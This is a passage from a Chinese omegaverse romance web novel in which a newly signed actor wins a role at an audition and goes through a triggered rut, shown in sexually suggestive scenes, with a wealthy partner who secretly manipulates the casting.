这一番分析把在场两人都说愣了。席棹是没想到她能适应得这么快,乔颖则是惊讶于她敢于直接点评的锐气。
“嗯,你听得很全面,只看现有的剧本内容的话,我也是这么想的。”乔颖说着转向自己对面的人,“你看中的这个角色,不好演。”
他微微点头:“我知道,但我喜欢这个角色。”
“你在减重?”乔颖突然话锋一转,盯着问。他顿了下说:“是,这个角色主要戏份在低谷期,我现在的形象和他差距很大,所以我想先减个十斤左右。”
林善善的表情显然是觉得他这个想法没什么问题,但乔颖却微微皱眉:“剧本和角色都不错,作为新人演员的起点,我很支持你接下它,但我不支持你现在为了它过度调整自己。”
他喝水的动作顿住,没想明白这话的意思。
“你不能只看剧本里的内容。既然喜欢这个角色,你就要考虑自身的竞争力,圈子里不缺形象贴合的演员,但永远都缺气质贴合的,你的优势就在气质。”
“招募演员的时候一般会给两到三个试戏片段,既然这个角色在本子里经历过不同的人生阶段,那选角组那边给出的片段就不可能是同一时期的,你明白吗?”
他听着听着,豁然开朗。乔颖这是要他和别人在竞争角色时另辟蹊径,走一条人更少的独木桥。
“所以我的建议是,你先不要急着减重,但要保持锻炼,维持上镜感,多去琢磨和自己气质更贴合的那一段角色人生,这是你身为演员该有的功底,就不需要我来仔细教了吧。”
林善善在一旁早已是目瞪口呆,连连点头,看样子是受了很大的启发。
他想了想说:“乔颖姐,我能问个问题吗?”在收到肯定的眼神后,正正神色问,“在什么情况下,你会选择和手下带的艺人解约另换新人。”
对面女人似乎并不意外会被这样问,边整理最后的资料边回答,语气算不上很认真:“当我判断他有能力独自在某条路上走下去,并承担的起择错的后果时,我会放他离开。”
......
月底,席棹回了一趟老房子,果不其然收到了新的讨债信,他按着上面的信息把五十万汇过去,接着转头跑到市中心医院,被告知二老已经转移到高级病房,有专人照看。
拒绝了入病房探望后,他整整衣领,给宋采舟发了两条信息——谢谢、什么时候回来。
消息一如既往很快被回复——跟我见外什么,三天后回。
“三天。”他翻开日历看提醒,发现那天是剧组演员试镜的日子,有些难掩失落,但手上敲过去的信息却是——那天我有工作要出门,不用等我。
这条消息后没有回复了,盯着消息框静静看了两分钟他才收起手机,转身上车往健身房去。
三天后,《替身》剧组的演员招募现场,来的人比他想象中要少得多。
林善善替他整理好后面的衣领,轻声询问正在讲电话的女人这样行不行。乔颖打圈看了眼,比了个OK的手势。
为了保持衣服的褶皱感,他时不时站起坐下,或者就靠着墙转个几圈,等到来人通知轮到他的时候,精神显然没有刚到时那么充沛了。
“各位老师好,我叫席棹,试戏角色是男配虞陵。”他鞠完躬抬头,发现原本四位评委席上有个座位空着,前面的牌子摆的是“编剧”。
剩下的三人是常见的总导演、选角导演和资方代表组合。选角导演看到他穿的衣服,很感兴趣的问:“虞陵有三个试戏片段可以选,我看你的装扮是要试第二个?”
“是的。”
第二个片段是“虞陵”从当红明星地位一落千丈,变成只能不断跑组不断碰壁的“黑名单演员”以后,独自一人去昔日拒绝过的组里求角色却被无情嘲讽,落魄地返回住处的一段戏。
整个片段没有一句台词,却有三个场景切换。
他闭上眼,深呼吸,再睁眼时周围的环境似乎都变了,没有评委、没有灯光、没有道具——
“虞大明星的意思是想要这个角色?哈哈哈,行啊,你陪我一晚,哦,不,我忘了现在你没那么值钱了,你陪老子一年,这角色就归你,怎么样?”
虞陵被这样羞辱,顿时气极,站起身就要离开,却被一双肥厚的胳膊拦腰抱住,身后的人贴近他耳边粗喘着说:“美人儿,我很早以前就看上你了,他们懂什么,你这样的干起来才带劲!”
“放手!给我放手!”虞陵挣扎着扭动起来,突然蹭到了身后那人火热起来的物件,惊叫着崩溃地咬上
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那油腻胳膊,惨叫声和血腥味同时弥漫开来。
他趁这个机会飞快窜了出去,顾不上拿回自己带来的东西,夺门而出,一直到电梯门彻底合上,他才敢呼吸。
席棹跌跌撞撞往后退了两步,背靠着墙,像砸落在窗玻璃的雨滴那样,一截、一截的滑倒,最后瘫坐在地。
他手脚都是僵硬且呆滞的,眼睛没聚焦的放空着,嘴角因为不使力隐约往下挂着,身体看不出呼吸的起伏。
突然,他完全转过头,甚至像要把头埋进墙里去那样,手撑着地面,踉跄的试了好几回才终于站稳,然后背对着开始抚平衣服上的褶皱。
他身上穿的是一件名牌衬衫,是合身的,唯一的缺点是看上去很旧,不是穿久的那种旧,而是塞在不知道哪个角落里,没有沾染过人气的那种旧。
他埋着头翻折衣领,还没有折好就用手掌去熨腰侧的布料,试图把掉出来的边角塞回去,结果却因为不肯回头,后腰处被塞得歪七扭八,难看极了。
两只手很忙碌,但衬衫依然到处都是褶皱。他的双臂突然垂下了,然后整个人慢吞吞的,一步一挪地转身,脑袋仍旧低垂着,看不清脸。
在往前走了两小步后,他突然拐弯跑了一段,但很快撑着两边膝盖,垂着脑袋开始大口大口的喘气。
有水滴像线一样黏连着落到地面,身体急速起伏的人维持着微蹲的姿势,抬起手臂在脸上左右擦了几下。
几秒过后,他长长地呼吸,站直了身体,转过来,衬衫上边的两颗纽扣已经消失不见,衣领根本合不拢,露出胸前一块三角状的皮肤。
良久的沉寂。终于,选角导演带头开始鼓掌,两边的总导演和资方代表也从恍惚中回过神,跟着一起鼓掌。
“完美!完美的演绎!”选角导演激动地站起来,走到席棹身前,从他猩红的眼眶一直向下打量到凌乱的腰侧,越看越满意:“虽然今天来面虞陵的人不是很多,但你是我见过态度最认真、气质最贴合、表演最细腻的!”
整个二号试戏片段其实只有一句话:虞陵上门求角色不成反被X骚扰,咬伤人后逃出,在电梯里遇到楼中居民,在大街上情绪崩溃。
总导演也点点头,问:“虞陵在电梯里这一段你处理得很好,很贴场景,也很符合人物。”
见两位剧组支柱都这样大加赞赏,资方代表觉得自己也该说点什么,只是他没看过剧本也不了解角色,就只能从席棹外形上下手,“嗯......我能在你身上感受到表演的魅力,你刚才在试戏的时候,我完全没注意到你的外形条件有这么优越,气质也和其他来试戏的演员很不一样。”
“对,对,你的气质和这个阶段的虞陵非常接近,有点忧郁,带着挣扎的感觉。”选角导演眼光毒辣,从人一走进来开始就注意到了。
席棹被三人这样夸,神情反倒淡淡的。他演戏更偏感受派,刚才这一段更是完全代入了自己从前的经历,不可能表达不出那种意境。
可他说不了实话。故而这些赞扬在耳中听着都像是......微讽。
“谢谢三位老师,那我就先回去等通知了。”他又鞠了个躬,边整理不忍直视的衬衣边往外走,在出门之前都还能感受到落在自己后背的炽热视线。
林善善在外面等得焦急,一见他出来马上迎了上来,轻声问:“席哥,怎么样?”
他看看不远处还在打电话的乔颖,又看看身旁眼睛亮亮的林善善,举起双手圈起拇指和食指,微微一笑。
今天的试戏工作结束以后,一直空着的第四个评委席位上终于坐下个人。资方代表笑眯眯地转头说:“宋大编剧才来,可是错过好苗子了呢。”
宋闻无所谓地笑笑:“要真是好苗子,你们会不选吗?如果连这点眼光和魄力都没有,那我这本子就白卖给你家了,不如趁早换人来做。”
13. 第 13 章
席棹是在到家没多久后接到的乔颖的电话。“刚才收到的通知,虞陵定了你,完整剧本和剧组条例已经发你邮箱了。”
“这么快?我以为至少要等两三天才会有消息。”他一下子从影音室的小沙发上坐起来,按下暂停,荧幕上的画面保持在镜头切换的瞬间。
“好像说是编剧看了试戏片段,对你很满意,其他几位也没异议,就直接定了。”乔颖那边倒是不怎么意外的语气,“好了,既然争取到了就收收心,好好准备进组,H城影视基地那边租房的事已经让林善善去办了,到时候营养师会和你一起过去。”
“营养师?”他愣了一下,“有这个必要吗?”
“有,你以为短时间内减掉十几斤对身体一点负担没有吗?万一耽误了剧组工作,传出去对你有什么好处?指望他们夸你敬业?”乔颖语气严肃起来,“而且林善善的厨艺我考察过了,吃了多半得进医院,她现在的工作重心也不应该放到那上面去。”
几句话就把他说的心服口服,“好,我知道了,我会准备起来的。”
电话挂掉,他马上打开邮箱先看了剧组的相关规定,松口气后抿着唇来回踱步,最后掏出手机给宋采舟发了条信息。
宋采舟刚下飞机,手机刚开机就被一连串的未接来电轰炸,大部分都来自同一个人。
他拨过去,问:“小叔,怎么了?”
那头宋闻的声音懒懒的,带着明显满足后的喑哑,“你拜托我的事办完了,怎么样,一会儿到家就可以见到热情又高兴的大狗狗,期不期待?”
他皱起眉:“别这么叫他。”
“好吧!那说说别的,我今天要是晚到几步,那几个老家伙就打算给别人发定角通知了,你怎么知道他们收了钱?”
放行李的推车被接过,他冲助理点点头,把用头和肩膀夹着的手机扣到耳边:“猜的,谁让他运气好,挑中了你写的这个剧本呢。”
“嗤”宋闻的笑声很放肆,“别人说猜的我会信,你嘛,多半又是你在里面做了什么手脚吧?”
他钻进车里,对司机说了句:“去通汇路那家花店。”然后转头冲手机笑笑,“小叔你说话越来越难听了,什么叫我做手脚,那叫策略分析。过程都无所谓,从结果来看,他高兴,我也高兴,这不就好了吗?”
宋闻吊儿郎当的笑声戛然而止,声音冷下来:“小舟,就算咱们俩是一边的,我也不可能回回都帮你,至少我还想多过几年松快日子。”
车窗外的景色一晃而过,空旷又模糊。“我知道,答应你的事不会忘的,这次送去的那个怎么样,还喜欢吗?”他的眼神冰冷到让透过后视镜观察的助理出了一身冷汗,一瓶未开封的水被丢到副驾。
面无表情的看着助理接过拧开,他无声地扯了扯嘴角,在听到那端传来的痛呼和喘/息后,总算满意地挂了电话。
拧开的水被两只手端着递回来,他闭着眼接过,没喝,“上次订的东西拿到了吗?”
助理跟着他也有一年多了,但还是没能完全习惯大老板的诡异性情,回答的小心翼翼:“下午送到了,就放在后头保险柜里。”
他嗯了声,终于抬手喝了水,然后走到靠近车尾的矮柜边,伸手拨弄几下,从柜子里面取出个小方盒。
“到地方了叫醒我,我亲自下去挑。”
“好的宋总。”
......
席棹刚洗完澡,擦着头发正准备吹干的时候听到了外头门开的动静,他马上探出身去,果然看到刚回来的人正在换鞋,脚边放了一大堆东西。
“快,来拿一下。”没等他开口,宋采舟先自然地使唤上了。
他把毛巾搭上后脖,动作略显迟缓地走过去。“怎么了,没想到我会回来?”宋采舟说话慢悠悠的,“一路赶回来事情太多了,刚给你打电话没接,我以为你这么早睡了呢。”
那堆东西中间围着一大篮子花,做成了船的形状,他视线晕乎乎的,看不清具体是什么品种,“这是?”
“送你的,恭喜你拿到第一个心仪的角色,也祝你以后还能遇到千千万万个。”
花篮被塞进他怀中,馨香扑鼻,比那烟熏火燎的信息素味道好闻多了,可他闻着闻着突然后脑沉重,眼前一昏。
“席棹!”慌乱的声音越来越远......
他是在自己卧室床上睁开眼的,准确的来说,是宋采舟坐在床上,而他用胸膛顶锁骨的姿势靠在宋采舟的肩上。
先前洗完澡半湿的头发在轻柔的擦拭下已经干的差不多了,他太阳穴发胀,昏昏沉沉中,温柔似水的声音像羽毛一样飘进耳朵:“你发烧了自己都没感觉吗?”
发烧?他真没注意,洗澡的时候还一切正常。
“头发干了,你安心睡吧。”毛巾从脑袋上移开,他被宋采舟扶着躺下,眼见人要转身离开马上伸手去抓,结果指尖碰到了鼓鼓的裤子口袋。“什么?”
转身还没转一半的人无奈回头,摁下他的手腕放回去,然后从那凸起里掏出一个小方盒,半蹲到床边。
盒子被放到了他枕头旁边,“睡吧,今晚我守着你,等明天你好了再自己拆礼物。”宋采舟的声音在他脑中忽远忽近,朦朦胧胧之中,他以为自己出现了幻听。
礼物?不是送过花给我了吗?花呢?
用尽全力一转脑袋,他看见那船花正好好地摆在床边柜旁。
......
身上发了汗黏腻腻的,但是头没有那么沉重不可动弹了。席棹睁开眼,反应了好几分钟,直到卫生间的门打开,里面的人折着毛巾出来走到床边,开始蹲着给他擦身上。
毛巾热烘烘的,擦过的地方很快变得干爽又舒服。他动了动嘴唇,一根吸管就被递到了嘴边。
视线顺着那只握着水杯的手往上移,宋采舟的嘴唇很干,平时根本不会注意到的唇纹都特别显眼,眼皮有点肿,像整夜没好好休息。
但依旧很漂亮。
“还喝吗?”声音也依旧很好听。
他别过头,水杯就从眼前被拿走,微凉手背贴上额头,“没再烧回去了,你自己感觉怎么样?”
他轻嗯一声,眨眨眼,“没事了。”宋采舟把凉下来的毛巾放到一边,“要是今天还
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烧,我就得叫人来用药了。”
“你今天、不用去公司吗?”
“你这话说的,如果公司没我一天都不行,那我养着那些人是干嘛的?”
“你,要不睡会儿?”他撑着坐起,背靠在垫上,眼睛向另一边的枕头瞥了一瞬,然后落到自己枕边那个小盒子上。
宋采舟抿唇轻笑:“不用,我本来就是短睡者,就一个晚上没什么影响。这个,你不看看吗?我找人专门设计的。”
专门两字被说的轻巧,偏偏拂过他心里时重重地顿了下。
啊,像被马里奥采金币借力的砖,他突然觉得自己有点可怜,于是拿过那盒子捏着边,像开通关宝箱那样小心地打开。
里头的绒布上躺着一对蓝钻袖扣,深彩的,切割看起来就很顶级。
只一眼,他啪的一声合上,“太贵了,我还不起,我不要。”
宋采舟毫不意外这反应:“当然要贵的,这可是星汇的体面,也是我的体面。”打开手机屏幕往人眼前一摆,“下个季度给星汇的投资已经批了,以后你赚钱就是星汇赚钱,自然也就是我赚钱。”
“怎么样,未来的星汇一哥,这点体面都不敢收下的话,以后更大的舞台你还敢上吗?”
这么不加掩饰的激将他以前经常碰到,只是从宋采舟嘴里说出来,就不一样,掺了丝微妙的......甜蜜。
所以他也允许自己和以前不一样,想了想,收下了。“重要场合,我会戴。”
“如果可以的话,我希望不重要的场合你也能戴上。”宋采舟站起身,“不然它整天不见天日的,钱都浪费了。”
几天后,两人收到B市私人医院那边发来的消息,说舒缓剂制作完成了,于是当即放下手中的事赶过去。
因着配研中心的要求,第一次的两人要先试用并且留院观察一晚,确保无副作用才能带走。
“两位请放心,这是我们这儿的安全屋,出现任何意外情况医生那边都会马上处理,门只能从外面打开,所以观察期间有什么需要请通过墙上的呼叫铃联系。”
护士按规矩给两人带到地方后就离开了,一句多余的话都没说。
宋采舟看着这间面积不大的房间,向有些茫然的身边人解释:“因为有些alpha进入易感期会格外狂躁,考虑到他们的破坏力和危险性,所以安全屋里除了必需品以外不会放其他东西。”
“忍忍吧,就一晚。”说完宋采舟坐到桌前,打开平板开始处理工作。
席棹盯着地上接近三米长宽的软榻,又看了圈所有东西都被固定好的周围,第一次觉得自己先前对于“易感期”的认知是不是有些偏差。
他边想着既然自己是那种beta体质那应该不会像他们形容的那么......野狗一样,一边打开剧本继续看,看着看着就心不在焉的切到了搜索引擎。
alpha易感期会有什么表现?
跳出来的结果五花八门,他囫囵地看了会儿,慌慌张张地关上,连剧本都没心思看下去了。
这易感期,怎么看上去和野狗发/情也没什么区别。
14. 第 14 章
席棹怀疑自己乱七八糟的帖子看多了,好好的剧本看几段就注意力不集中,总想到易感期上头去,而且越想越头晕脑胀,周围空气也好像灼热起来。
“你怎么了?”宋采舟注意到他坐立不安闹出的窸窸窣窣动静,看了眼时间说:“快十点了,你先去洗漱吧,要是困了就早点睡。”
说完却也没有移开视线,支手撑着下巴打量起那厚厚一沓剧本来,眯眼看着上面花花绿绿的标注笔记问:“你有这么多戏份吗?什么时候进组,拍多久?”
也不知道怎么了,今天这衣服穿的总觉得不舒服,哪儿都硌得难受,所以到被问第二遍的时候他才反应过来,回说:“我想先过一遍剧情,就让乔颖姐替我要了完整剧本,这个月底进组,拍两个月左右。”
腰腹上泛起密密麻麻的酥痒,他站起来,掀开衣服下摆一看,那里竟起了一大片风团。
“怎么回事,过敏吗?”宋采舟眼尖,一下就发现了,放下平板走近,“痒吗?”
“有点。”他皱起眉,忍不住在那片微红发肿的肉上拿指甲戳了两下,马上被抓住了手腕。“别动。”宋采舟弯下腰仔细看了眼,转身去按了呼叫铃。
“你好,我想问下舒缓剂会导致过敏吗?”“不会的宋先生,舒缓剂的制作成分完全是提供者自身的产出。”“那席......我丈夫注射后出现了类似过敏的反应,会是什么情况?”
那头静默了片刻,最后沉声说:“我这就让人送东西过去,宋先生,请先和您爱人保持五米以上距离,让他冷静下来,清洁一下身体。”
“什么意思?”
“他的易感期很有可能被催发了。”
“......”宋采舟轻骂了声,做了好几轮深呼吸,还是没能做到完全心平气和。
真他爹的倒霉,这种事也能遇上,偏偏还是在今天。
“席棹,你先去洗澡,开温水。”因为心中郁闷,就连语气都比平时僵硬不少,隔着老远绕道走进卫生间打开照明和排风,冲还愣在原地神色有些不自然的人轻喊,“不会要我抱你进来吧?”
等人进去,里头传出哗哗水流声后,宋采舟才往墙上泄愤似的砸了一拳,然后给秘书助理和裴明知分别打了电话,只说自己接下来几天有点事,联系不到也不用紧张,顺道安排了一些比较紧急的工作。
在和裴明知谈下季度投资相关的事时,安全屋门上的小窗被打开,他走过去接过那一篮子东西,看到了一叠毛巾里头躺着的几盒不同型号的计生用品和润滑,手抖得差点没拿稳。
“宋总?”裴明知疑惑的声音从听筒里传出来,他敛下渐重的呼吸声,“没事,就按我们之前约定的,其他事你不用操心,我会解决。”
说完没等对方回复就挂了电话,眼中隐含怒气的把怎么看怎么碍眼的篮子扔到角落,又想了想,还是皱着眉把那些毛巾拿出来叠放在了软榻边上。
席棹刚进浴室的时候还算有点意识,脱了衣服后裸着在花洒下站了将近一分钟,腰上又开始痒了才想起拧开关,结果被骤然喷出的冷水淋了个透凉,太阳穴一下就刺痛起来。
到后面意识就好像跟着水流一起慢慢被冲走,最后他完全是扶着墙胡乱洗完的,甚至没等穿好衣服,在腰间围了条浴巾就踉踉跄跄地往外走。
头痛连带着全身开始酸痛,特别是后背和侧腰,酸得简直快要直不起身。
而事实上他也确实没能站着走回去,刚出卫生间的门就腰一软,哐的一声半跪倒在地上。跌下去的瞬间还在心底庆幸是在外面换了鞋才进来的,屋里的地面也很干净,不然这艰难的澡就算是白洗了。
他闭着眼,觉得身体里有团火在烧,从脚底烧上来,从后脑烧下去,最后汇聚在下腹。
他不是个重欲的人,不管是从前当龙套演员的时候,还是发现自己穿进剧本里变成男主的这三个月,只有实在憋得狠了,难受了,需要借机宣泄了,才会在深更半夜借点影像工具草草弄一下。
有时候昼夜颠倒的忙起来,连睡眠时间都没法保证,更别提这种事了,一周都来不上一次。
可明明一直以来都是那样的清心寡欲,他现在却想的不得了,想的浑身发热,想把手伸下去解开浴巾,握上去尽情抚慰。
但脑中闪过仅剩的一丝清明——不行,宋采舟还在。
对了,宋采舟。
他恍惚睁眼,发现自己竟不知什么时候已经躺在了榻上。而心里念着的人正跪坐在旁边,用一种和现在气氛格格不入的探究的眼神看他。
“你易感期到了。”对方就这么不咸不淡的一句,再没说别的,只是继续用那种眼神看着。
他忍得手上青筋直冒,十指把身下柔软被褥抓的一团乱,喉间压迫着慢慢发出沉闷低喘,终于一咬牙道:“你、别看我。”
“不行,我得观察你的状态。”这话听着真是很有责任心,若放平时他一定心怀感恩,感谢老天终于长眼把宋采舟这么个好人送到身边。
可现在,他只想让老天劈道雷,要么打死自己,要么打晕对方,省的尴尬。
鼻腔中呼出的气越来越热,越来越急促,他手猛地一抬,掀起被子把下身一盖,然后手伸进去解开了腰上缠着的浴巾。
宋采舟还在看他。
“我做手活你也要看吗?”他咬牙切齿地问,第一次觉得这张漂亮的脸这么碍眼。
“你做吧,我不打扰你。”
“你现在、就很打扰了!”他低骂一声,接着就像解开了什么封印一样,再不顾忌那点脸皮,手往下伸了去。
被子中段隆起小山丘般的形状,很快又被曲起的膝盖顶得更高盖过去,他死死闭着眼,想忽视身边的人。
就当这家伙不存在......
他只觉得手心滚烫,好一会儿过去那温度还是没能降下来,反而热得更难受了。
从脖颈开始已经爬满比先前风团还重的一大片红,憋出的细汗被顶上的灯一打,晶莹剔透的,像什么奢靡的油画。
不够,完全不够。
他自暴自弃的卸掉力,松开手往后一靠,相比起皮肤来说过于粗糙的被子布料擦过的时候,腰眼顿觉一酸,但就算是这样的刺激,身体里那股火依旧找不到出口。
睁眼,直直地对上一双平静的、清亮的眼睛。
他恨恨的想,和这双眼比起来,自己现在的模样一定很狼狈,很可笑。
“为什么我用了舒缓剂还会这样?别的alpha易感期都是怎么过的?”他是真难受的没办法了,哑声问完后才想起宋采舟是个omega,心笑自己病急乱投医也没这种投法。
“配研中心的人说,使用舒缓剂的时候有千分之一的概率把临近的易感期催发提前。”宋采舟表情像在做什么学术汇报那样冷静,“至于其他人怎么过的,我也不知道,我没和alpha交往过。”
被子中段被轻微顶起的弧度突然一动,他可耻又震惊地发现自己来感觉了。
就因为宋采舟这几句话,刚才怎么都不满足的身体竟前所未有的兴奋,甚至有些战栗。
要不还是来道雷劈死我算了。
但很快这种软弱的念头就被抛掉,他转念一想,自己为了帮宋采舟调理紊乱症都到这地步了,只是几句话而已......应该不算过分吧?
于是试着开口:“你、能和我说说话吗?”在看到身旁人的脸色一僵后,又道,“我很难受,听你说话,好像能好些。”<
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p>“你想听我说什么。”
他打量了眼那抿成一条线的嘴角,往另一边偏了偏头:“随便,说说你吧。”
宋采舟眨了眨眼,竟真的就那么坐在榻边说了起来:“我十五岁来这儿,十八岁完成分化。宋家一直希望我能分化成alpha,但很可惜我没有。”
下头顶端蹭着蹭着,磨到被子上,有丝微凉传来。他眯起眼,把手重新探下去,在宋采舟的娓娓道来中一下、一下动作着,包裹着那里的掌心在摩擦中升起麻意。
“分化完成的同时我也患上了信息素紊乱症,后来为了治这个病,我一直在找你。”
“呼”他气息一滞,身体僵硬了一瞬。
可海浪气势汹涌,根本没有平息的迹象。
干净的毛巾被递到眼前,宋采舟的脸上倒看不出尴尬或者嘲笑什么的,只是很平常地说:“没事的,不管是alpha的易感期,还是omega的发/情期,都只有完全释放出来才安全。”
安全......好奇怪的用词,他顾不上思考其中深意,很快又被更汹涌的潮汐卷走理智。
被褥上的褶皱一直在变化形状,双腿曲起又放下,来来回回的不知道过去了多久,身旁宋采舟的声音却始终围绕着。
永不停息的海潮将他越举越高,退去时又总若即若离,走时不干脆,来时便更猛烈。
他在浪潮中起起伏伏,不知不觉间,空气已经如丝绸般亲密拥抱着全身。
但不论被汹涌浪潮拍击多少回,那股火永远都在,不仅没被浇灭,反而越烧越旺。
“......然后我终于找到了你。”
随着宋采舟这句话落下,他被浪潮席卷着上岸,眼看下一波巨浪就要袭来,他伸手抓住白沙地上的纤细手腕,红着眼眶道:“救......救我。”
这近乎哀求的语气飘散出去,在海面上消失无迹。
“唉”遥远的叹息传来,接着他感觉到自己被一双温凉的手触碰。
“你帮过我,我也帮你,咱们扯平。”
他仰起头,伸出双臂,拥抱住此刻属于他的神明。
三天后,席棹在电话声中醒来。“我知道了,你那边和阿穆把该走的程序补办好,我这里还不知道什么时候能回。”
他听着宋采舟的声音,看着纯白天花板发愣。
易感期,当着人的面做了手活,还求人帮忙做了......双人的。
腾的坐起身,被子被顺势卷到腰腹以下,他低头,看到安安静静蛰伏着的兄弟,暗松口气。
还好,看起来很健全。
“醒了?”突然靠近的声音吓得他一个激灵,拢着被子浑身僵硬。
“你的易感期比我想象中要短,好在没出其他意外。”宋采舟伸出三根手指挥了挥,一脸淡定地看他,“现在知道不好意思了?怎么,以前读书的时候没和兄弟‘互帮互助’过?”
提到以前,他面色一白,那点旖旎心思瞬间消失得干干净净,咳了声:“我有什么不好意思的,要不是因为你我也不会......”
说着他顿住,理智回笼后终于能正常思考——这次易感期可以说是因为宋采舟,可就算没有宋采舟,自己陷入易感期不也是早晚的事吗?
所以与其说是被宋采舟害的,倒不如反过来说,幸好有他帮忙。
“反正,谢谢你。”他生硬地转移话题,“是不是耽误你工作了?”
宋采舟倒也没怪:“早说了不用跟我客气,我们是互相帮助,这种事真算不上什么,以后恐怕还多着呢。”然后低下身把周围横尸遍地的毛巾都捡起来扔进篮子里。
“没耽误,我都提前安排好了。你起来收拾一下,咱们准备回去。”
15. 第 15 章
那三天的亲密接触以后,席棹总觉得宋采舟看他的眼神有时候怪怪的,但敏感如他,也没能解读出那眼神里到底多了些什么。
好在对方没再因这事躲着不回家,两人便一直保持着一方正常上下班、一方家里健身房两头转、隔三差五一起上个生理课的规律同居生活。
上生理课次数越多,他对于牵手拥抱甚至接触对方腺体这些行为也逐渐脱敏,有的时候还能反过来逗宋采舟几句。
月底前半周,在正式进组之前,他给宋采舟补了临时标记。
“两个月,我大概会去你那儿三四次,你可得提前请好假啊。”宋采舟睁着水汽氤氲的眼睛,说着就像皇帝翻牌宠幸后妃的话,他也没觉得不舒服,反而心底一片柔软。
“知道了,你要来,提前跟我说就行,我还得支走林善善。”他指腹揉了揉宋采舟后颈上的新鲜咬痕问,“你这儿多久能愈合?”被没好气的一巴掌挥开。
“换我咬你,你自己试试不就知道了。”
“行啊。”话一出口,他自己都愣了下,而后很快笑说,“我是不在意什么只有alpha能标记omega的,你要是不介意我成天顶着你的信息素在剧组人堆里晃,也可以往我这儿咬一口。”
说着他拉下自己衣领,把脖子伸到宋采舟嘴前,结果又被一巴掌拍开。
“吃饱了撑的吧你,走开走开,我要去洗澡了。”
看着纤细一条人儿的背影,他嘴角的弧度慢慢消失,眼中多了一丝忧虑。
宋采舟对自己的态度越来越嚣张不讲道理了,和刚认识的时候比简直是天上地下,这到底是混熟了的表现,还是说,这才是真正的他呢?
但不管怎么样,他并不反感两人现在的相处模式。就这样下去,好像也没什么不好的。
......
席棹带着林善善和营养师提前三天前往H城,到租住的公寓收拾好行李后,第一件事就是给宋采舟发了个定位,那边很快回了个OK的表情。
出门熟悉了一下附近的地形和店铺后,他在一家手作店门口站住,想了想,抬脚走了进去。
“叮铃”的竹排铃声响起,柜台后的年轻姑娘抬起头招呼:“您好!有什么需要可以随便看看。”在看到他的模样时眼睛亮了一瞬。
“你好,请问这儿有那种能装下小首饰的吊坠吗?像......怀表那种类型的。”他伸出两根食指比划了一下大小,“大概比指甲盖大上一点。”
姑娘忙点头:“有的有的!”说着绕到另一个角落,拿下毛毡墙上挂着的一条银质短链,吊坠部分是一个空心相框。
“您看看这个合适吗?”姑娘指尖挑开相框一侧的精巧开关,露出里面的立体空间,“怀表的话一般没有这种大小的,也不太方便存放首饰,这条是老板去欧洲画展回来后的灵感。”
他接过链子仔细检查了一番,确保连接处没有松动之类的,才问:“这条多少钱?”
姑娘翻开手机相册看了眼说:“这条是八百元,包终身售后的,我们店已经在这儿开了七八年了,您不用担心找不着人的。”
他眉心一拧,这价格说实话有些贵了,但偏偏款式大小都合适,他也没时间去慢慢淘一条更好的。
八百,对于一条普通银链来说或许不值,但要和那对袖扣相比,哪怕再在后面加两个零都比不上。
想到这里,他点点头说:“帮我装起来吧。”扫码付了钱,接过姑娘递来的名片。“这是老板的联系方式,您可以加一下,我现在去给您包起来。”
回到公寓,他仔细洗手消毒后,把两枚袖扣小心地放进相框里,然后分别试戴在脖子和手腕上,确认相框的卡扣足够牢固后才放下心。
这样一来,不管什么场合,他都能戴着宋采舟送的袖扣了。
正想着,急促的电话铃声从兜里传出,接起,是林善善略显慌乱的声音:“席哥,影视基地那边好像出事了,剧务通知线上开会,你快上线吧,我马上就到!”
林善善赶到公寓的时候满头大汗,顾不上收拾自己,就把包里临时拿到的通知单和整理出来的资料抽出来递给席棹。
“前不久有个剧组的替身演员在拍摄过程中意外溺亡了,听说本来已经结案赔偿,没想到昨天突然有督察组过来,影视基地只能临时通知所有剧组,在出结果前暂时禁止雇用替身演员。”
他拧开一瓶水递给林善善,等对方一口气喝掉三分之一,缓过来些以后才开口问道:“剧务通知开会也是为了这事儿吧?”
“八成是的,我去领东西的时候听到组里的人在聊,说有演员已经为这事闹起来了。”林善善又喝了一大口,旋紧瓶盖。
“闹起来?为什么?”
“应该是不满这么突然的通知吧,怕没有替身演员拍不好之类的?”
演员用替身并不少见,但一般都是呈现更好的武打效果,或者是外形细节上和角色有太大出入,才会不得已使用替身。
可这个剧本......并没有什么打斗场面,按理说也不是非要替身不可的,他问:“知道是谁吗?”
林善善摇头:“那就不知道了。”
“行,没事,你休息吧,我去开会。”他说着也没避讳,直接在客厅坐下,用宋采舟给的那块平板连进了剧组的工作群。
一个多小时后,在导演组的苦心劝说下,对不能使用替身一事意见颇大的女主演总算消停下来,接受了这个现实。
“那就这样,越仪啊,统筹那边会尽量调整,不让你为难的,其他演员老师们也是,万一有哪里不舒服的一定要早点说,咱们组也没那么不近人情,该批假就批。”主持会议的副导演讨好地笑笑,宣布结束。
从头到尾没有人询问过其他演员的意见,这只是一场形式主义的劝说。
他心里明镜似的,对一旁欲言又止的林善善说:“干嘛这幅表情,她是组里咖位最大的,被捧着也很正常。”这种事,早在原先跑龙套的时候就见怪不怪了。
林善善却摇头:“话是这样,但我记得她不是beta吗?用敏感期当理由也太牵强了吧,咖位大一点就能不把其他同事放在眼里吗?”
眼见小助理这副义愤填膺的样
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子,他无端想起在B市时宋采舟说的那番话——这世界和原先那里也没什么不同。
确实是没什么不同,人也罢,事也罢。
隔天是第一次剧本围读,席棹在健身房做完力量训练,冲了澡换了身简单清爽的衣服,赶在开始时间前十分钟到了。
长桌边,几位演员和主创基本都已到场,正有一搭没一搭的讨论些什么,焦点当然是在女一号舒越仪的身上。
他朝众人点头微微鞠躬,坐到了剩下两个空位中更靠窗的那一个上,左手边隔一个空位过去的,就是当时选角面试时见过的总导演范正仁。
“都到了啊,那咱们第一次剧本围读就准备开始了,还是先照例做个自我介绍吧。”范导眼神扫了一圈,率先开口。
他余光瞥了眼左边的空位,知道这位子大概是留给编剧的了。
每个人的自我介绍都很简短,只说了自己在剧中饰演的角色以及主要的对手演员,轮到他的时候更是干脆的只剩一句:“我叫席棹,角色是虞陵。”
虞陵在剧本里的本职就是演员,和谁的对手戏数量其实都差不多,所以当然也不用刻意强调。
没想到在他说完后,范导开口补充了句:“席棹基本上和在座的每一位都有对手戏,你们可要和他打好关系。”
一听这话,他顿时有种微妙的感觉,就好像范正仁是在故意给他这个新人拉关注度一样。
难道是因为那次面试留了好印象?没等他想的更深些,范导就已经念起了第一场旁白。
......
散场的时候几近深夜,众人陆陆续续地告辞离开。就在席棹也打算走的时候,范正仁却突然叫住了他:“席棹,你等一下,我有话跟你说。”
他不明所以,又有点心怀期待地坐下,就见桌上递过来一壶罗汉果茶,和范正仁手里那壶是一样的。
